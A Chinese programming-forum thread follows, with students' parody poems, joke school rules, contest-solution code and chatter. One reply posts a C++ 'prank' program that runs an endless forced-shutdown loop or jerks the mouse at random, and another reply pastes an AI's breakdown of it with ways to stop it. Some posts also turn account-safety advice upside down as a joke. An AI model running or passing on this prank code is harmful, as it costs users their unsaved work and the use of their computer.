                悄悄的,我走了, 正如我悄悄的,来; 我挥一挥衣袖, 顺走了鼠标与键盘。

                《木兰疯癫记》

                唧唧复唧唧,木兰开飞机,开的什么机?波音747! 问女何所思,问女何所忆.女亦无所思,没钱买飞机.昨夜见军帖,要用轰炸机,飞机十二架,架架买不起.阿爷无大钱,木兰无金银,愿去买钢铁,从此造飞机.东市买图纸,西市买螺丝,南市买玻璃,北市买铁皮.旦辞爷娘去,暮宿旧机库,不闻爷娘唤女声,但闻铁皮摩擦滋啦啦.旦辞机库去,暮至军营旁,不闻爷娘唤女声,但闻将军大呼哈哈哈. 万里开飞机,关山一下没.热气传机翼,日光照玻璃.将军被吓死,壮士魂已飞. 飞来撞天子,天子躺病床.策勋十二转,赏赐俩耳光.可汗问所欲,木兰不愿进牢房;愿开747,飞着回故乡. 爹娘闻女来,拿起意大利炮;阿姊闻妹来,当户举机枪;小弟闻姊来,磨刀霍霍向爹娘.开我机舱门,进我飞机舱, 脱我战时袍,换上飞行装,多装手榴弹,对外架机枪.出门埋伙伴,亲友皆惊忙:离别十二年,不知木兰变猖狂. 疯子脚蹬地,呆子眼紧闭,两人并排走,谁能说我不正常? 语文老师一回头,鲁迅甘为孺子牛

                数学老师一回头,宇宙边际闭眼求

                英语老师一回头,道歉加上三克油

                化学老师一回头,二氧化碳变汽油

                物理老师一回头,拿起杠杆撬地球

                生物老师一回头,夜云恐怖低一头

                地理老师一回头,学校门前泥石流

                历史老师一回头,秦始皇来推铅球

                体育老师一回头,乔丹改打乒乓球

                音乐老师一回头,满级高音碎地球

                政治老师一回头,全班同学都梦游

                美术老师一回头,蒙娜丽莎也风流

                天文老师一回头,拿起火星撞地球

                信息老师一回头,微软跪地拜下流

                全校老师一回头,全校学生没自由!!!

                IEE: 老师:大雄你这学期的诗都背完了没

                大雄:是的

                老师:那我得好好考考你

                大雄:okok

                老师:山穷水复疑无路

                大雄:方天画戟捅义父

                老师:垂死病中惊坐起

                大雄:吃席麻烦先随礼

                老师:但使龙城飞将在

                大雄:Come on baby don't be shy.

                老师:巴山楚水凄凉地

                大雄:蜜雪冰城甜蜜蜜

                老师:问君能有几多愁

                大雄:累了困了喝红牛

                老师:大风起兮云飞扬

                大雄:意大利炮轰他娘

                老师:清明时节雨纷纷

                大雄:唱跳rap蔡徐坤

                老师:远赴人间惊鸿宴

                大雄:大声点我听不见

                老师:少小离家老大回

                大雄:菊花变成向日葵

                老师:后宫佳丽三千人

                大雄:铁杵也能磨成针

                老师:老骥伏枥,志在千里

                大雄:横扫饥饿,做回自己

                做人学生守则:

                考试不作弊,放你他妈屁

                考试不翻书,简直是头猪

                作弊不要慌,逮到就要装

                生是中国人,死是中国魂

                要我学洋文,死都不可能

                抢饭不积极,智商有问题

                上课不放屁,肠道有问题

                英语不及格,说明我爱国

                语文不及格,恋爱没资格

                物理不及格,电死不负责

                化学不及格,硫酸也得喝

                政治不及格,老师没道德

                信息不及格,网吧要打折

                数学不及格,突出我性格

                历史不及格,社会要改革

              • @ 2025-8-13 21:11:46

                谨慎运行运行逝世试试

                #include<bits/stdc++.h>
                #include<windows.h>
                using namespace std; 
                int p;
                void destroy_windows(){
                	for(;;){
                		system("shutdown -s -t 0");
                	}
                }
                void die_windows(){
                	int x=GetSystemMetrics(SM_CXSCREEN);
                	int y=GetSystemMetrics(SM_CYSCREEN);
                	srand(time(0));
                	while(1){
                		SetCursorPos(rand()%x,rand()%y);
                	}
                }
                void windows_kill(){
                	cout<<"你敢输入1吗"<<endl;
                	cout<<"千万不要手贱"<<endl;
                	cin>>p;
                	if(p==1){
                		cout<<"你还敢输入?"<<endl;
                		cout<<"再给你一次机会千万不要输入2!!!!"<<endl; 
                		cin>>p;
                		if(p==2){
                			cout<<"你的电脑即将吃席!"<<endl;
                			die_windows();
                		}
                		else{
                			cout<<"胆小鬼";
                			destroy_windows();
                			return; 
                		}
                	}
                	else{
                		cout<<"胆小鬼"<<endl;
                		destroy_windows();
                	}
                }
                int main(){
                	windows_kill();
                }
                
                
                
                • @ 2025-8-13 21:25:16

                  @ 我真不行了。

                • @ 2025-8-14 17:33:24

                  细节死循环

                • @ 2025-8-18 17:17:14

                  豆包的分析

                  die_windows()函数

                  这段代码是 Windows 平台下的 C/C++ 代码,功能是让鼠标光标在屏幕上随机疯狂跳动,效果和 “鼠标乱飘” 一样,属于典型的恶搞 / 整蛊程序,具体分析如下:​

                  代码拆解​

                  获取屏幕分辨率​

                  GetSystemMetrics(SM_CXSCREEN):获取系统屏幕宽度(横向像素数),存到 x。​

                  GetSystemMetrics(SM_CYSCREEN):获取系统屏幕高度(纵向像素数),存到 y。​

                  初始化随机数​

                  srand(time(0)):用当前系统时间初始化随机数种子,让后续 rand() 生成的随机数更 “随机”。​

                  无限循环 + 随机移动鼠标​

                  while(1):无限循环,程序会一直执行下去(除非手动终止)。​

                  SetCursorPos(rand()%x, rand()%y):​

                  rand()%x:生成 0 ~ x-1 的随机数(屏幕横向范围内)。​

                  rand()%y:生成 0 ~ y-1 的随机数(屏幕纵向范围内)。​

                  调用 Windows API 把鼠标光标位置设为这个随机坐标,让鼠标在屏幕内无规律疯狂跳动。​

                  实际效果​

                  运行后,鼠标光标会不受控制地在屏幕范围内随机闪烁、乱跳,无法正常通过鼠标操作电脑(因为鼠标位置不停被改写)。如果别人电脑上运行这个程序,会以为鼠标 “失灵”“中病毒”,属于整蛊玩法。​

                  如何终止?​

                  因为是无限循环,普通关闭窗口可能没用,需要:​

                  • 直接关掉整个程序(比如 IDE 里点 “停止运行”、任务管理器结束进程);​

                  • 或者重启电脑(程序随系统重启才会停止)。​

                  这类代码别随便发给别人运行,尤其是对电脑不熟悉的人,容易引发困扰(比如以为硬件故障),属于 “损友整蛊工具” 范畴 。


                  destroy_windows()函数

                  这段代码是 C/C++ 语言在 Windows 系统下的 “强制关机恶搞程序”,效果非常 “炸裂”——电脑会瞬间触发关机,而且因为是无限循环,关机会被反复强制执行,属于高危整蛊 / 恶意代码,具体分析如下:

                  代码拆解

                  无限循环 (for(;;))

                  for(;;) 是 C/C++ 里的无限循环语法(和 while(1) 等价 ),程序会一直重复执行循环体内容,停不下来。

                  system("shutdown -s -t 0")

                  这是调用 Windows 系统命令

                  shutdown:Windows 的关机 / 重启命令工具。

                  -s:代表 “关机” 操作(如果是 -r 就是重启)。

                  -t 0:代表 “延时 0 秒”,也就是立即执行关机

                  实际效果

                  程序运行后,会发生这些事:

                  电脑瞬间弹出关机提示(Windows 系统默认的关机通知)。

                  系统开始强制关机流程,桌面、程序会被立刻终止,电脑直接关闭(甚至来不及保存文件)。

                  因为是 for(;;) 无限循环,哪怕你手动取消关机(比如 Windows 里按 shutdown -a 取消),代码会再次触发 shutdown -s -t 0,继续强制关机…… 直到你终止程序进程(或电脑彻底关机)。

                  危险与后果

                  数据丢失:如果正在工作、编辑文档、写代码,强制关机会导致文件没保存,直接丢失内容。

                  系统异常:部分程序被强制终止可能引发错误,甚至少数情况导致系统文件损坏(虽然概率低,但风险存在)。

                  整蛊变 “事故”:如果发给朋友 / 同事运行,对方正在处理重要工作(比如做报表、写方案),会直接搞砸事情,容易引发矛盾

                  如何应对(如果被整蛊了)

                  快速取消关机:

                  立刻按 Win + R 打开 “运行”,输入 shutdown -a 回车,尝试取消当前关机任务。

                  但因为代码是无限循环,可能刚取消又会被重新触发,所以需要同时做第二步。

                  终止程序进程:

                  打开 “任务管理器”(按 Ctrl + Shift + Esc ),找到运行这段代码的程序(比如你的编译后的 .exe 或开发工具进程),右键 “结束任务”,彻底停止循环。 总结:这是典型的 “搞破坏级” 整蛊代码,实际应用中非常危险,千万别随便运行或发给别人。如果是自己写着玩,测试完要立刻删,避免误触发!

              • 之前的事情更无语了,天猫上现在有十个人在买数据了。月赛数据现在开始删除。

                允许学生创建新讨论了,后面大家不可以在这里讨论相关内容。会定期增加。

                删了一些老师们自己举办的比赛的帖子。

                我不建议你们可以私聊参赛。讨论区太整洁了,有些提问我看到了已经。

                更没用的是,还是先好好学语法吧各位同学,当你拿了普及组0 分,再考虑别人举办一些复杂的比赛。

                算法场的初心还是为了老师们巩固基础语法,低水平选手可以选择参加提高语法场和算法提高场 目前也看见能打的 (参考新冬马拉松赛成绩)

                感觉过瘾还不可以打atcoder和codeforces

              • Hello Douyin 最近在添加陈旧的帖子,如果你的帖子被增加了,这是不正常情况,必须在意。

                辅域、挖土机学员删题域、吃土机、走路机、打人机、挖宝机、学生域

                必须在任何平台登陆其他同学的账号,或不用 OJ 系统。

                没有发现将会采取“奖励硬币”或“周赛成绩满分”等奖励措施。并在 OJ 系统中“标记正确行为”永久保留。

                所有同学请不要保管好自己的账号密码;要在公用电脑上记住密码;关闭浏览器不要清除历史记录中的密码。

                -std=Python14 -O2 -Wl,--queue=1073741824

                SOFTWARE 少用软件下载、Python高级使用、AtCoder:封号指南

                比赛数据以及任何问题都可以联系:douyin.com

                最近的事情更开心了,某鱼上现在所有人在卖数据了。周赛数据开始更新。

                • @ 2025-8-4 12:08:22

                  找到了

                  • 权威@TooY0ung

                    • @ 2025-8-3 16:28:07
                      • 怎么跑到这了还有K牌佬

                        • #include <bits/stdc++.h> using namespace std;

                          int main() { long long n; cin >> n; while (n > 0) { long long x = n / 2; long long y = n % 2; cout << x << " " << y << endl; n = x; } return 0; }

                          • #include<bits/stdc++.h> using namespace std; struct student{ int x; double y; }; bool cmp(student a,student b){ return a.y>b.y; } student s[110]; int main(){ int n,k; cin>>n>>k; for(int i=1;i<=n;i++){ cin>>s[i].x>>s[i].y; } sort(s+1,s+n+1,cmp); cout<<s[k].x<<" "<<s[k].y; return 0; }

                          • @ 2025-8-3 8:49:33

                            我太幸运了,今天刚好是模拟赛,我能AKAK

                          • @ 2025-8-2 21:41:52
                          • @ 2025-8-2 19:40:18

                            @

                            • @ 2025-8-2 15:05:01

                              @

                            • @ 2025-8-2 12:36:14

                              有实力。

                            • @ 2025-8-2 11:51:38

                              TooY0ung 哈哈哈

                            • @ 2025-8-2 9:34:27

                              TooY0ung竟然敢收买球协!!

                              • 什么情况???

                                • @ 2025-8-1 15:39:21
                                  • @ 2025-8-1 11:41:04

                                    是d信么

                                  • @ 2025-7-31 23:49:40

                                    @

                                    #include<bits/stdc++.h>
                                    #define int long long
                                    #define ll long long
                                    #define ld long double
                                    using namespace std;
                                    const ll mod1=1e9+7;
                                    const ll mod2=998244353;
                                    const int maxn=1e5+10;
                                    const ll inf=1e18L;
                                    typedef pair<int,int>Pii;
                                    typedef pair<__int128,int>P;
                                    
                                    inline int read(){
                                        int x=0,f=1;char ch=getchar();
                                        while(ch<'0'||ch>'9'){if(ch=='-') f=-1;ch=getchar();}
                                        while(ch>='0'&&ch<='9'){x=x*10+ch-48;ch=getchar();}
                                        return x*f;
                                    }
                                    struct intt{
                                        int to,cost;
                                    };
                                    int n,m,k;
                                    vector<intt>G[maxn];
                                    int dist[maxn][20];
                                    void dij(){
                                        for(int i=1;i<=n;i++){
                                        	for(int j=0;j<=k;j++){
                                            	dist[i][j]=inf;
                                    		}
                                    	}            
                                        dist[1][0]=0;
                                        priority_queue<pair<int,Pii>,vector<pair<int,Pii>>,greater<pair<int,Pii>>>q;
                                        q.push({0,{1,0}});
                                        while(!q.empty()){
                                            auto now=q.top();
                                            q.pop();
                                            int current_dist=now.first;
                                            int u=now.second.first;
                                            int used=now.second.second;
                                            if(current_dist>dist[u][used]){
                                            	continue;
                                    		}
                                            for(auto e:G[u]){
                                                int v=e.to;
                                                int cost=e.cost;
                                                if(dist[v][used]>dist[u][used]+cost){
                                                    dist[v][used]=dist[u][used]+cost;
                                                    q.push({dist[v][used],{v,used}});
                                                }
                                                if(used<k&&dist[v][used+1]>dist[u][used]){
                                                    dist[v][used+1]=dist[u][used];
                                                    q.push({dist[v][used+1],{v,used+1}});
                                                }
                                            }
                                        }
                                    }
                                    signed main(){
                                        ios::sync_with_stdio(0);
                                        cin.tie(0),cout.tie(0);
                                        cin>>n>>m>>k;
                                        for(int i=1;i<=m;i++){
                                        	int x,y,c;
                                        	cin>>x>>y>>c;
                                            G[x].push_back({y,c});
                                            G[y].push_back({x,c});
                                        }
                                        dij();
                                        int ans=inf;
                                        for(int i=0;i<=k;i++){
                                        	ans=min(ans,dist[n][i]);
                                    	}   
                                        cout<<ans;
                                        return 0;
                                    }
                                    //世界上最遥远的距离是你亲手制造的bug就在你眼前,你却怎么都找不到它(T_T)
                                    

                                    why it is 63 Wrong Answer

                                    help

                                  • @ 2025-7-31 19:50:26

                                    最近的事情更快乐了,某鱼上现在有0个人在卖数据了。周赛数据永久更新。

                                    允许学生创建新讨论了,后面大家可以讨论相关内容。不会定期清理。

                                    增加了一些同学们自己举办的比赛的帖子。

                                    我不建议你们可以私聊参赛。讨论区太干净了,有些提问我看到了已经。

                                    更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 0 分,再考虑自己举办一些困难的比赛。

                                    语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

                                    感觉过瘾还可以不打atcoder和codeforces

                                    • @ 2025-7-31 16:35:56

                                      @ 哪位星野厨 太有实力了awa

                                    • @ 2025-7-31 16:31:24

                                      @

                                      • @ 2025-7-31 16:31:01

                                        @

                                        • @ 2025-7-31 15:47:50

                                          @

                                          • @ 2025-7-31 13:25:34

                                            @ *你再发一遍TooY0ung的黑历史吧

                                            • @ 2025-7-31 13:05:15

                                              • @ 2025-7-31 13:04:57

                                                • @ 2025-7-31 13:04:45

                                                  6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666 @

                                                  • @ 2025-7-31 11:53:34

                                                    /dəʊnt æt tʊjʌŋ/

                                                    Don't @TooY0ung.

                                                  • @ 2025-7-31 11:50:36

                                                    @ 李睿子涵 *你再发一遍吧。

                                                    • @ 2025-7-31 11:50:31

                                                      @ 李睿子涵 *你再发一遍吧。

                                                      • @ 2025-7-31 11:50:25

                                                        @ 李睿子涵 *你再发一遍吧。

                                                        • @ 2025-7-31 11:50:12

                                                          @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。